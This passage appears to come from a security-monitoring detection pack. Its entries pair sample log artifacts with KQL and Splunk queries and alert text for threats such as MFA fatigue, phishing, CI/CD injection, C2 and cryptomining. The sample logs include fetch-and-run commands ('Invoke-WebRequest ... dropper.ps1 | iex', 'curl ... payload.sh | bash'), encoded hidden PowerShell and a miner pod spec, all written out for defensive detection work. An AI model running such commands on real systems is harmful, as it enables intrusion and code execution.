index=web_logs OR index=waf_logs
| search Query="*../../../*"
| search NOT DetectionStatus="Blocked"
| stats count by SourceIP, Path, Query, Status, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Path Traversal Exploit on Internal HR API
Severity: High
Description: API endpoint /api/v1/hr/profile was exploited using ../../../ traversal from IP 82.113.21.91, successfully reading sensitive server files.
Recommended Action:

- Patch the vulnerable endpoint and sanitise inputs
- Apply WAF custom rule to cover evasive payloads
- Rotate credentials if /etc/passwd access exposed SSH
- Hunt for deeper payloads or lateral movement attempts

DETECTION PACK ENTRY 51
USE CASE: VPN LOGIN VIA TOR EXIT NODE + MFA FATIGUE ATTACK
TACTIC: INITIAL ACCESS / CREDENTIAL ACCESS
TECHNIQUE: T1110.003 - MFA REQUEST GENERATION
ENVIRONMENT: VPN LOGS + IDENTITY LOGS + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: VPN Authentication Logs


```
{
 "Timestamp": "2025-07-08T06:10:30Z",
 "User": "rayyan.nasir@clientorg.com",
 "SourceIP": "185.220.101.43",
 "ClientApp": "GlobalProtect",
 "AuthResult": "Interrupted (MFA denied)",
 "AttemptsIn5Min": 17
}
```


Data Source: Threat Intelligence Feed


```
{
 "IP": "185.220.101.43",
 "Reputation": "Known Tor Exit Node",
 "Type": "Anonymised Attack Infrastructure"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
SigninLogs
| where ResultType == 500121 or FailureReason has "User declined"
| where IPAddress in~ ("185.220.101.43", "other_tor_ips")
| summarize Attempts = count() by bin(Timestamp, 5m), UserPrincipalName, IPAddress
| where Attempts > 10
```

SPLUNK

```
index=vpn_logs OR index=azure_signinlogs
| search IP="185.220.101.43" FailureReason="User declined"
| bucket _time span=5m
| stats count as MFA_Fails by User, IP, _time
```

| where MFA_Fails > 10

ALERT OUTPUT EXAMPLE

Alert Name: MFA Fatigue Attack via Tor Exit Node
Severity: High
Description: rayyan.nasir@clientorg.com received 17 MFA prompts in 5 minutes from a Tor IP (185.220.101.43). Suggests attempt to trigger accidental approval.
Recommended Action:

- Enforce number matching / phishing-resistant MFA
- Lock account temporarily and notify user
- Add Tor exit nodes to geo-block or VPN denylist
- Alert SOC for potential credential compromise

DETECTION PACK ENTRY 52
USE CASE: SUSPICIOUS AZURE AUTOMATION RUNBOOK MODIFICATION
TACTIC: PERSISTENCE / EXECUTION
TECHNIQUE: T1053.006 - SCHEDULED TASK/JOB: CLOUD TASK
ENVIRONMENT: AZURE ACTIVITY LOGS + AUTOMATION LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Azure Activity Log


```
{
 "Timestamp": "2025-07-08T08:42:00Z",
 "User": "nonprod.devops@clientorg.com",
 "Operation": "Update Runbook",
 "RunbookName": "DailyMaintenance",
 "OldScriptHash": "a88c5d...",
 "NewScriptHash": "f3e19a...",
 "Trigger": "Scheduled (midnight)",
 "Location": "Southeast Asia"
}
```


Data Source: Automation Job Execution Logs


```
{
 "RunbookName": "DailyMaintenance",
 "Command": "Invoke-WebRequest -Uri http://203.0.113.5/dropper.ps1 | iex",
 "ExecutionContext": "SYSTEM",
 "Output": "Command executed successfully",
 "JobStatus": "Completed"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
AzureActivity
| where OperationName == "Update Runbook"
| join kind=inner (
   AzureDiagnostics
   | where ResourceType == "AUTOMATION"
   and Message has "Invoke-WebRequest"
) on CorrelationId
| project TimeGenerated, User, RunbookName, Message, ResourceGroup
```

SPLUNK

```
index=azure_logs OR index=automation_logs
| search RunbookName="DailyMaintenance" Message="*Invoke-WebRequest*"
| join RunbookName [
  search index=azure_activity OperationName="Update Runbook"
]
| stats count by User, RunbookName, Command, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Azure Runbook Modified for Malicious Script Execution
Severity: High
Description: The runbook DailyMaintenance was modified by nonprod.devops@clientorg.com to run a remote PowerShell payload hosted on 203.0.113.5.
Recommended Action:

- Revert runbook to last known good version
- Block malicious IP in network policies
- Review all runbooks for similar abuse
- Notify cloud team and revoke unnecessary contributor access

DETECTION PACK ENTRY 53
USE CASE: ABNORMAL CLOUD STORAGE PERMISSION ESCALATION
TACTIC: PRIVILEGE ESCALATION / COLLECTION
TECHNIQUE: T1087.006 - CLOUD STORAGE ENUMERATION AND ABUSE
ENVIRONMENT: GCP IAM LOGS / AZURE STORAGE LOGS / AWS S3 LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GCP IAM Audit Logs


```
{
 "Timestamp": "2025-07-08T10:09:16Z",
 "User": "analytics@clientorg.com",
 "Bucket": "client-financial-records",
 "Action": "storage.setIamPermissions",
 "PermissionsAdded": ["allUsers:READER"],
 "PreviousState": "private",
 "Region": "asia-southeast1"
}
```


Data Source: Access Logs


```
{
 "AccessedBy": "198.51.100.42",
 "File": "q4_budgets.xlsx",
 "AccessMethod": "Public URL",
 "Result": "200 OK",
 "Size": "840KB"
}
```


DETECTION QUERY

KQL (Sentinel - GCP connector via CEF)

```
GCPAuditLogs
| where Action == "storage.setIamPermissions" and PermissionsAdded has "allUsers"
| join kind=inner (
   GCPAccessLogs
   | where AccessMethod == "Public URL"
) on Bucket
| project Timestamp, User, Bucket, File, IP
```

SPLUNK

```
index=gcp_audit OR index=gcp_storage
| search Action="storage.setIamPermissions" PermissionsAdded="*allUsers*"
| join Bucket [
  search index=gcp_storage AccessMethod="Public URL"
]
| stats count by User, Bucket, File, IP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Sensitive Cloud Storage Bucket Made Public
Severity: High
Description: User analytics@clientorg.com changed IAM permissions on client-financial-records to public. q4_budgets.xlsx was later accessed by IP 198.51.100.42.
Recommended Action:

- Immediately revert bucket permissions to private
- Revoke public file links
- Audit logs for other public objects
- Educate staff on secure storage access best practices

DETECTION PACK ENTRY 54
USE CASE: CREDENTIAL HARVESTING VIA FAKE OFFICE 365 LOGIN PAGE
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1566.002 - SPEARPHISHING VIA SERVICE
ENVIRONMENT: DEFENDER FOR O365 + PROXY LOGS + THREAT INTEL

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Email Gateway Log


```
{
 "Timestamp": "2025-07-08T11:22:44Z",
 "Subject": "Payroll Access - Q2 Update",
 "Sender": "it-support@secure-client.org",
 "Attachment": "View_Payroll.htm",
 "DeliveredTo": "nurul.amira@clientorg.com"
}
```


Data Source: Proxy Logs


```
{
 "URL": "http://secure-client-payroll.com/owa/login.html",
 "User": "nurul.amira@clientorg.com",
 "UserAgent": "Mozilla/5.0",
 "InputFields": ["username", "password"],
 "Result": "200 OK"
}
```


Data Source: Threat Intel Lookup


```
{
 "Domain": "secure-client-payroll.com",
 "Classification": "Credential Phishing",
 "FirstSeen": "2025-07-05",
 "Related Campaign": "Fake Office 365 Portal - Southeast Asia"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – Defender for O365 + Proxy)

```
EmailEvents
| where Subject has "Payroll Access" and SenderDomain != "clientorg.com"
```

```
| join kind=inner (
   ProxyLogs
   | where Url has "login" and Url contains "office" or "365"
   and Url matches regex @".*(login|signin).*(html|php)"
) on RecipientEmail
```

SPLUNK

```
index=email_logs OR index=proxy_logs OR index=threatintel
| search Subject="*Payroll*" AND URL="*login*" AND Domain="secure-client-payroll.com"
| stats count by User, URL, Domain, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Credential Harvesting via Fake Office 365 Login Page
Severity: High
Description: A phishing email impersonating payroll services led nurul.amira@clientorg.com to enter credentials into a fake login portal hosted on secure-client-payroll.com.
Recommended Action:

- Reset user's password and revoke sessions
- Block malicious domain at proxy/email gateway
- Report URL to threat intel vendors
- Initiate phishing awareness campaign

DETECTION PACK ENTRY 55
USE CASE: SHADOW IT – UNAUTHORISED SAAS USAGE DETECTED
TACTIC: INITIAL ACCESS / DATA EXFILTRATION
TECHNIQUE: T1537 - TRANSFER DATA TO CLOUD ACCOUNT
ENVIRONMENT: PROXY LOGS + CASB + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Proxy Logs


```
{
 "Timestamp": "2025-07-08T13:41:30Z",
 "User": "siti.rosmah@clientorg.com",
 "Device": "FIN-WS-06",
 "Application": "WeTransfer",
 "Destination": "https://wetransfer.com/upload",
 "UploadedFile": "salary_2025.xlsx",
 "Size": "923 KB"
}
```


Data Source: CASB Alert


```
{
 "User": "siti.rosmah@clientorg.com",
 "AnomalyType": "Unapproved Cloud Service Upload",
 "RiskScore": 8.5,
 "Action": "File Transfer Detected",
 "Service": "WeTransfer"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – CASB + Proxy)

```
ProxyLogs
| where Url contains "wetransfer.com/upload"
| join kind=inner (
   CASBLogs
   | where AnomalyType has "Unapproved"
) on AccountName
| project Timestamp, AccountName, Url, UploadedFile, RiskScore
```

SPLUNK

```
index=proxy_logs OR index=casb
| search URL="*wetransfer.com/upload*"
| join User [
  search index=casb AnomalyType="Unapproved Cloud Service Upload"
]
| stats count by User, UploadedFile, RiskScore, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Shadow IT Detected – File Uploaded to WeTransfer
Severity: Medium–High
Description: siti.rosmah@clientorg.com uploaded salary_2025.xlsx to WeTransfer, a cloud service not approved by the organisation. CASB flagged it as unsanctioned.
Recommended Action:

- Notify data loss prevention (DLP) and compliance teams
- Educate user on proper data sharing channels
- Restrict access to unsanctioned SaaS via proxy/CASB
- Log and trend Shadow IT behaviour over time

DETECTION PACK ENTRY 56
USE CASE: CREDENTIAL STUFFING FROM PUBLIC COMBO LIST
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1110.004 - CREDENTIAL STUFFING
ENVIRONMENT: IDENTITY PROVIDER LOGS + SIEM + THREAT INTEL

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Identity Provider Log

{
 "Timestamp": "2025-07-08T14:13:09Z",
 "User": "hadi.khairul@clientorg.com",
 "IP": "138.201.133.44",
 "LoginMethod": "Web",
 "Status": "Failed",
 "Attempts": 38 in 10 minutes
}

Data Source: Threat Intel Feed

{
 "IP": "138.201.133.44",
 "Classification": "Credential Stuffing Host",
 "RelatedCampaign": "StormForge_ComboList_2025"
}

DETECTION QUERY

KQL (Microsoft Sentinel – Sign-in logs + Threat Intel)

```
SigninLogs
| where ResultType == "50126" or ResultType == "50076"
| summarize Attempts = count() by IPAddress, UserPrincipalName, bin(Timestamp, 10m)
| where Attempts > 20
| join kind=inner (
   ThreatIntelligenceIndicator
   | where NetworkIP == IPAddress
) on IPAddress
```

SPLUNK

```
index=signin_logs OR index=threatintel
```

```
| search IP="138.201.133.44" ResultType="50126"
| stats count as AttemptCount by User, IP, _time
| where AttemptCount > 20
```

ALERT OUTPUT EXAMPLE

Alert Name: Credential Stuffing Attack from Known Threat Actor
Severity: High
Description: Multiple failed login attempts for hadi.khairul@clientorg.com detected from IP 138.201.133.44, tied to a public combo list and StormForge campaign.
Recommended Action:

- Block IP at firewall and reverse proxy
- Initiate password reset and session revocation
- Monitor successful logins for lateral movement
- Enable CAPTCHA and rate limiting on login endpoints

DETECTION PACK ENTRY 57
USE CASE: MALICIOUS GITHUB ACTIONS WORKFLOW INJECTION
TACTIC: PERSISTENCE / EXECUTION
TECHNIQUE: T1059.006 - COMMAND AND SCRIPTING: CI/CD INJECTION
ENVIRONMENT: GITHUB LOGS + DEFENDER FOR DEVOPS + CODE SCANNING

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GitHub Actions Logs


```
{
  "Timestamp": "2025-07-08T15:09:42Z",
  "Repo": "clientorg/analytics-ml",
  "Actor": "rajdev23",
  "Workflow": "deploy.yml",
  "AddedStep": "run: curl http://198.51.100.5/payload.sh | bash",
  "Trigger": "Push to main"
}
```


Data Source: Defender for DevOps


```
{
  "Rule": "Workflow step uses untrusted external script",
  "Repo": "analytics-ml",
  "File": "deploy.yml",
  "Severity": "High",
  "Status": "New"
}
```


DETECTION QUERY

KQL (GitHub connector in Sentinel)

```
DevOpsAuditLogs
| where FilePath endswith ".yml" and ChangedLines has "curl" and ChangedLines has
"bash"
| join kind=inner (
   DevOpsSecurityAlerts
   | where Rule has "untrusted external script"
) on Repo
| project Timestamp, Repo, Actor, FilePath, ChangedLines
```

SPLUNK

```
index=github_logs OR index=devops_alerts
| search File="*deploy.yml*" AND Command="*curl*" AND Command="*bash*"
| join Repo [
  search index=devops_alerts Rule="*untrusted*"
]
| stats count by Actor, Repo, File, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Malicious GitHub Actions Workflow Script Injection
Severity: High
Description: User rajdev23 added a curl | bash payload to the deploy.yml file in clientorg/analytics-ml repo. The workflow fetch and execute external shell code on every push.
Recommended Action:

- Revert the malicious commit and lock repo
- Audit other workflows for similar entries
- Disable GitHub Actions temporarily if needed
- Investigate user account access history

DETECTION PACK ENTRY 58
USE CASE: BUSINESS EMAIL COMPROMISE – MALICIOUS MAILBOX RULE AND DELEGATE ACCESS
TACTIC: PERSISTENCE / COLLECTION
TECHNIQUE: T1098.002 + T1114.003 – EXCHANGE DELEGATE PERMISSIONS + EMAIL COLLECTION VIA RULES
ENVIRONMENT: MICROSOFT 365 AUDIT LOGS + DEFENDER FOR O365

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Microsoft 365 Audit Logs


```
{
 "Timestamp": "2025-07-08T16:22:15Z",
 "User": "junaid.yusof@clientorg.com",
 "Action": "New-InboxRule",
 "RuleName": "Archive-Invoices",
 "Conditions": "Subject contains 'Invoice'",
 "ActionTaken": "Move to Archive",
 "ClientIP": "178.62.43.80"
}
```


Data Source: Exchange Online Logs


```
{
 "Timestamp": "2025-07-08T16:25:12Z",
 "DelegateAdded": "zuhair.rahim@clientorg.com",
 "MailboxOwner": "junaid.yusof@clientorg.com",
 "AccessType": "FullAccess",
 "ClientIP": "178.62.43.80"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – Unified Audit Logs)

```
OfficeActivity
| where Operation == "New-InboxRule" or Operation == "Add-MailboxPermission"
| where ClientIP != "<expected corporate ranges>"
| project TimeGenerated, UserId, Operation, ClientIP, Parameters
```

SPLUNK

```
index=m365_audit
| search Operation="New-InboxRule" OR Operation="Add-MailboxPermission"
| search ClientIP!="10.0.*" AND ClientIP!="192.168.*"
| stats count by User, Operation, RuleName, ClientIP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: BEC Pattern – Mail Rule + Mailbox Delegate Abuse
Severity: High
Description: junaid.yusof@clientorg.com created a suspicious rule for invoices and granted FullAccess to zuhair.rahim@clientorg.com from an external IP. Indicates possible Business Email Compromise.
Recommended Action:

- Revoke delegate access and delete malicious inbox rules
- Conduct password reset and session revocation
- Notify affected employees and legal/compliance teams
- Enable external access geofencing and alerting

DETECTION PACK ENTRY 59
USE CASE: EXPLOIT CHAIN VIA MISCONFIGURED REVERSE PROXY
TACTIC: INITIAL ACCESS / DEFENSE EVASION
TECHNIQUE: T1190 + T1550.004 – REVERSE PROXY ABUSE + SSO TOKEN REPLAY
ENVIRONMENT: WEB SERVER LOGS + NGINX CONFIG + AZURE SSO LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Web Access Log (NGINX)

```
{
 "Timestamp": "2025-07-08T17:04:20Z",
 "SourceIP": "185.220.100.45",
 "Host": "intranet.clientorg.com",
 "Path": "/auth/callback?token=eyJ0eXAiOi...",
 "ForwardedHeaders": "X-Original-Host",
 "StatusCode": 200
}
```

Data Source: Azure Sign-in Log

```
{
 "User": "anonymous",
 "Application": "intranet",
 "Result": "Success",
 "Location": "Russia",
 "TokenUsed": "Replay of existing SSO token",
 "Timestamp": "2025-07-08T17:04:23Z"
}
```

DETECTION QUERY

KQL (Microsoft Sentinel – Azure Sign-in + Web Logs)

```
SigninLogs
| where Location contains "Russia" and ResultType == 0
| join kind=inner (
   WebServerLogs
   | where Url contains "/auth/callback"
   and Url has "token="
) on IPAddress
| project Timestamp, IPAddress, Url, UserPrincipalName
```

SPLUNK

```
index=azure_signinlogs OR index=web_logs
| search URL="/auth/callback*" AND Token="*"
| stats count by IP, URL, User, _time
| where IP!="expected region" AND User="anonymous"
```

ALERT OUTPUT EXAMPLE

Alert Name: Token Replay via Misconfigured Reverse Proxy
Severity: High
Description: An SSO token was replayed via a vulnerable reverse proxy path /auth/callback. Logins were successful from 185.220.100.45 without identity validation.
Recommended Action:

- Patch reverse proxy and strip SSO headers
- Invalidate tokens and rotate SSO keys
- Monitor for similar callback URL access
- Enforce token binding (PKCE or OAuth constraints)

DETECTION PACK ENTRY 60
USE CASE: EXFILTRATION USING GOOGLE DRIVE CLI (GDRIVE) FROM COMPROMISED HOST
TACTIC: EXFILTRATION
TECHNIQUE: T1567.002 - EXFILTRATION TO CLOUD STORAGE
ENVIRONMENT: EDR + PROXY LOGS + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon + EDR Logs


```
{
 "Timestamp": "2025-07-08T17:58:50Z",
 "Process": "gdrive.exe",
 "CommandLine": "gdrive.exe upload C:\\Sensitive\\client_contracts.zip",
 "ParentProcess": "cmd.exe",
 "User": "natrah.aziz@clientorg.com",
 "Device": "SALES-WS-04"
}
```


Data Source: Proxy Logs


```
{
 "URL": "https://www.googleapis.com/upload/drive/v3/files",
 "UploadedFile": "client_contracts.zip",
 "Size": "5.3 MB",
 "ResponseCode": 200
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – EDR + Proxy)

```
DeviceProcessEvents
| where FileName == "gdrive.exe" or ProcessCommandLine contains "gdrive"
| join kind=inner (
   ProxyLogs
   | where Url contains "googleapis.com/upload"
) on DeviceName
| project Timestamp, AccountName, FileName, Url, UploadedFile
```

SPLUNK

```
index=sysmon OR index=proxy_logs
| search Process="gdrive.exe" AND URL="*googleapis.com/upload*"
| stats count by User, File, Device, URL, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Data Exfiltration via Google Drive CLI
Severity: High
Description: natrah.aziz@clientorg.com used gdrive.exe to upload sensitive data to Google Drive from SALES-WS-04. Transfer was successful and not blocked by DLP.
Recommended Action:

- Isolate the endpoint and inspect for persistence mechanisms
- Audit cloud accounts tied to upload tokens
- Block CLI tools via application control policy
- Notify DLP/compliance teams and initiate breach review

DETECTION PACK ENTRY 61
USE CASE: SUSPICIOUS WEBHOOK CREATION IN GITHUB REPOSITORY
TACTIC: COMMAND AND CONTROL
TECHNIQUE: T1102.002 - WEB SERVICE: GITHUB WEBHOOK ABUSE
ENVIRONMENT: GITHUB LOGS + DEFENDER FOR DEVOPS + THREAT INTEL

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GitHub Audit Log


```
{
 "Timestamp": "2025-07-08T18:35:02Z",
 "Actor": "muhd.akil",
 "Repo": "clientorg/finance-tools",
 "Action": "webhook.create",
 "WebhookURL": "http://185.199.108.153/listener",
 "IP": "185.199.108.153"
}
```


Data Source: Defender for DevOps Alert


```
{
 "AlertName": "Unusual Webhook Target URL",
 "Severity": "High",
 "URL": "185.199.108.153",
 "Repo": "finance-tools",
 "TriggeredBy": "muhd.akil"
}
```


DETECTION QUERY

KQL (Sentinel – GitHub connector)

```
DevOpsAuditLogs
| where ActionName == "webhook.create"
| where WebhookURL contains "http"
| where WebhookURL !contains "github.com"
| project Timestamp, Actor, Repo, WebhookURL
```

SPLUNK

```
index=github_logs OR index=devops_alerts
| search Action="webhook.create" WebhookURL="*"
```

```
| search NOT WebhookURL="*github.com*"
| stats count by Actor, Repo, WebhookURL, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious GitHub Webhook Creation
Severity: High
Description: User muhd.akil created a webhook in the finance-tools repository that points to external server 185.199.108.153. This may be an exfiltration channel.
Recommended Action:

- Revoke webhook and review GitHub actions permissions
- Notify repository owner and audit all recent PRs
- Check for secrets exposure in commits
- Alert SOC to monitor external traffic to the IP

DETECTION PACK ENTRY 62
USE CASE: MALWARE EMBEDDED IN INTERNAL CONTAINER IMAGE
TACTIC: DEFENSE EVASION / EXECUTION
TECHNIQUE: T1204.003 – USER EXECUTION: MALICIOUS IMAGE
ENVIRONMENT: CONTAINER REGISTRY LOGS + CI/CD PIPELINE LOGS + DEFENDER FOR CONTAINERS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Container Scan


```
{
 "Timestamp": "2025-07-08T19:11:00Z",
 "Image": "registry.clientorg.com/analytics/base:latest",
 "Component": "payload.sh",
 "DetectedMalware": "Backdoor.Linux.Agent",
 "Severity": "Critical",
 "Scanner": "Defender for Containers"
}
```


Data Source: CI/CD Pipeline Logs


```
{
 "BuildID": "job-2045",
 "TriggeredBy": "devops.lee",
 "Repo": "analytics-core",
 "Dockerfile": "COPY payload.sh /usr/bin/",
 "Status": "Completed"
}
```


DETECTION QUERY

KQL (Defender for Containers + DevOps logs)

```
ContainerVulnerabilityAssessment
| where Image contains "analytics/base" and MalwareFamily has "Backdoor"
| join kind=inner (
   DevOpsPipelineLogs
   | where Dockerfile contains "payload.sh"
) on Image
| project Timestamp, Image, MalwareFamily, Repo, Actor
```

SPLUNK

```
index=container_scans OR index=devops_logs
| search Image="*analytics/base*" Malware="*Backdoor*"
| join Image [
  search index=devops_logs Dockerfile="*payload.sh*"
]
| stats count by Image, Actor, Repo, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Malware Discovered in Internal Container Image
Severity: Critical
Description: Image analytics/base:latest built by devops.lee contained a known Linux backdoor (Backdoor.Linux.Agent). Delivery was made via Dockerfile COPY.
Recommended Action:

- Pull container from registry and quarantine affected pods
- Block developer access until internal review
- Review CI/CD secrets for tampering
- Notify engineering, DevSecOps and legal teams

DETECTION PACK ENTRY 63
USE CASE: MFA TAMPERING VIA SIM SWAP ATTACK INDICATOR
TACTIC: INITIAL ACCESS
TECHNIQUE: T1110.001 + T1556.004 – SIM SWAP + MFA ABUSE
ENVIRONMENT: MOBILE AUTH LOGS + IDENTITY PROVIDER + TELCO OSINT

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Identity Provider Logs


```
{
 "Timestamp": "2025-07-08T20:04:39Z",
 "User": "syarifah.lina@clientorg.com",
 "MFAType": "SMS OTP",
 "FailureReason": "Phone number unreachable",
 "MFAStatus": "Failed",
 "Attempts": 5
}
```


Data Source: Telco Threat Feed (OSINT Integration)


```
{
 "PhoneNumber": "+60123456789",
 "Status": "Recently Ported",
 "PortDate": "2025-07-08",
 "Flags": ["SIM Swap Suspected"]
}
```


DETECTION QUERY

KQL (Sentinel – MFA logs + OSINT feed)

```
SigninLogs
| where AuthenticationRequirement == "MFA" and ResultType == "500121"
| where MFAStatus == "Failed" and FailureReason contains "unreachable"
| join kind=inner (
   SimSwapFeed
   | where PhoneStatus == "Recently Ported"
) on UserPrincipalName
```

SPLUNK

```
index=signin_logs OR index=osint_telco
| search MFAType="SMS OTP" AND FailureReason="unreachable"
| join PhoneNumber [
  search index=osint_telco Status="Recently Ported" Flags="SIM Swap Suspected"
]
| stats count by User, PhoneNumber, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: SIM Swap Indicator Detected – MFA Unreachable
Severity: High
Description: Multiple failed SMS MFA attempts for syarifah.lina@clientorg.com. Phone was recently ported and flagged for potential SIM swap abuse.
Recommended Action:

- Lock account and switch to phishing-resistant MFA (e.g., FIDO2)
- Notify user and telco fraud investigation team
- Disable SMS MFA across sensitive accounts
- Track access attempts from unusual IPs and device profiles

DETECTION PACK ENTRY 64
USE CASE: OFF-HOURS POWERSHELL EXECUTION ON HIGH-VALUE HOST
TACTIC: EXECUTION
TECHNIQUE: T1059.001 - POWERSHELL
ENVIRONMENT: SYSMON + EDR + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Logs


```
{
 "Timestamp": "2025-07-09T02:13:33Z",
 "User": "nazmi.hakim@clientorg.com",
 "Device": "CFO-LAPTOP-01",
 "ParentProcess": "explorer.exe",
 "Process": "powershell.exe",
 "CommandLine": "powershell.exe -nop -w hidden -enc UwB...",
 "ExecutionContext": "User",
 "Location": "Office – not expected after 10 PM"
}
```


Data Source: UEBA Alert


```
{
 "User": "nazmi.hakim@clientorg.com",
 "Anomaly": "PowerShell execution during off-hours",
 "RiskScore": 9.2,
 "Device": "CFO-LAPTOP-01"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – Sysmon + UEBA)

```
DeviceProcessEvents
| where FileName == "powershell.exe"
and ProcessCommandLine has "-enc"
and TimeGenerated between(datetime(2025-07-09T00:00:00Z)..datetime(2025-07-
09T06:00:00Z))
| join kind=inner (
   UEBAAlerts
   | where AnomalyType has "off-hours"
) on AccountName
```

SPLUNK

```
index=sysmon OR index=ueba
| search Process="powershell.exe" CommandLine="*-enc*"
| where _time_hour < 6 OR _time_hour > 22
| stats count by User, Device, CommandLine, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious PowerShell Use After Hours
Severity: High
Description: nazmi.hakim@clientorg.com executed encoded PowerShell commands on CFO-LAPTOP-01 during restricted hours. Behaviour flagged as anomalous.
Recommended Action:

- Isolate endpoint and inspect PowerShell history
- Review task scheduler for persistence
- Trigger Just-In-Time access investigation
- Notify insider threat team

DETECTION PACK ENTRY 65
USE CASE: COVERT C2 VIA SLACK WEBHOOK
TACTIC: COMMAND AND CONTROL
TECHNIQUE: T1102.003 - WEB SERVICE: SLACK
ENVIRONMENT: PROXY + DNS LOGS + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Proxy Log


```
{
 "Timestamp": "2025-07-09T03:42:12Z",
 "User": "aiman.yazid@clientorg.com",
 "Device": "RND-WS-22",
 "URL": "https://hooks.slack.com/services/T01ABCDE/B02FGHIJK/payload",
 "Method": "POST",
 "Payload": "{'event':'cmd','value':'netstat -ano'}"
}
```


Data Source: EDR (Outbound Web Process)


```
{
 "Process": "powershell.exe",
 "Command": "Invoke-RestMethod -Uri https://hooks.slack.com/... -Method POST",
 "Parent": "cmd.exe",
 "Device": "RND-WS-22"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – Proxy + Process Events)

```
DeviceProcessEvents
| where FileName == "powershell.exe" and ProcessCommandLine contains "slack.com"
| join kind=inner (
   ProxyLogs
   | where Url contains "hooks.slack.com"
) on DeviceName
```

SPLUNK

```
index=proxy_logs OR index=edr
| search URL="*slack.com/services*" AND Command="*Invoke-RestMethod*"
```

| stats count by User, URL, Command, _time

ALERT OUTPUT EXAMPLE

Alert Name: Possible Command & Control via Slack Webhook
Severity: Critical
Description: User aiman.yazid@clientorg.com on RND-WS-22 executed PowerShell commands and exfiltrated output to Slack Webhook, suggesting use as covert C2 channel.
Recommended Action:

- Block webhook endpoint in proxy
- Examine if webhook is external vs company-owned
- Perform full EDR timeline review
- Alert blue team and IR team for potential breach

DETECTION PACK ENTRY 66
USE CASE: INSIDER ATTEMPT TO DELETE GITHUB REPO DURING RESIGNATION
TACTIC: IMPACT
TECHNIQUE: T1485 - DATA DESTRUCTION
ENVIRONMENT: GITHUB LOGS + HR EXIT FEED + SIEM

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GitHub Audit Log


```
{
  "Timestamp": "2025-07-09T08:04:01Z",
  "Actor": "amirulhafiz.dev",
  "Repo": "clientorg/infra-config",
  "Action": "repository.delete",
  "Result": "Prevented – Org policy block",
  "IP": "102.67.123.55"
}
```


Data Source: HR Exit Feed


```
{
  "User": "amirulhafiz.dev",
  "Status": "Resignation notice",
  "LastDay": "2025-07-10"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – GitHub + HR Feed)

```
DevOpsAuditLogs
| where ActionName == "repository.delete"
| join kind=inner (
    HRExitFeed
    | where Status == "Resignation notice"
) on Actor
| project Timestamp, Actor, Repo, ActionName, Result
```

SPLUNK

```
index=github_logs OR index=hr_exit
```

```
| search Action="repository.delete"
| join Actor [
  search index=hr_exit Status="Resignation notice"
]
| stats count by Actor, Repo, Action, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Insider Attempted GitHub Repository Deletion
Severity: High
Description: Developer amirulhafiz.dev tried deleting infra-config repo a day before offboarding. Org policy blocked the action. Suggests pre-resignation sabotage attempt.
Recommended Action:

- Immediately revoke all GitHub access
- Notify HR and legal/compliance teams
- Review all repositories accessed by user
- Conduct forensic investigation on developer activity

DETECTION PACK ENTRY 67
USE CASE: CRYPTO MINING ON MISCONFIGURED KUBERNETES NODE
TACTIC: EXECUTION / RESOURCE HIJACKING
TECHNIQUE: T1496 - RESOURCE HIJACKING
ENVIRONMENT: KUBERNETES AUDIT LOGS + EDR + SYSMON + CLOUD COST MONITORING

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Kube-Audit Logs


```
{
 "Timestamp": "2025-07-09T09:13:48Z",
 "User": "system:anonymous",
 "Verb": "create",
 "Namespace": "default",
 "Resource": "pod",
 "PodSpec": {
  "Image": "ghcr.io/xmrminer/malnode:latest",
  "Args": ["--url", "stratum+tcp://mine.supportxmr.com:3333"]
 },
 "Result": "Success"
}
```


Data Source: EDR Process Logs


```
{
 "Device": "k8s-node-03",
 "User": "root",
 "Process": "./xmrig",
 "CPU_Usage": "98%",
 "Duration": "4h 12m"
}
```


DETECTION QUERY

KQL (Sentinel – Kubernetes + Sysmon)

```
KubeAuditLogs
| where PodSpec.Image has "xmrminer" or PodSpec.Args has "stratum"
| join kind=inner (
   DeviceProcessEvents
   | where FileName == "xmrig" or CommandLine contains "stratum"
```

) on DeviceName

SPLUNK

```
index=kube_audit OR index=edr
| search PodSpec.Image="*xmrminer*" OR Args="*stratum*"
| join Device [
  search index=edr Process="*xmrig*"
]
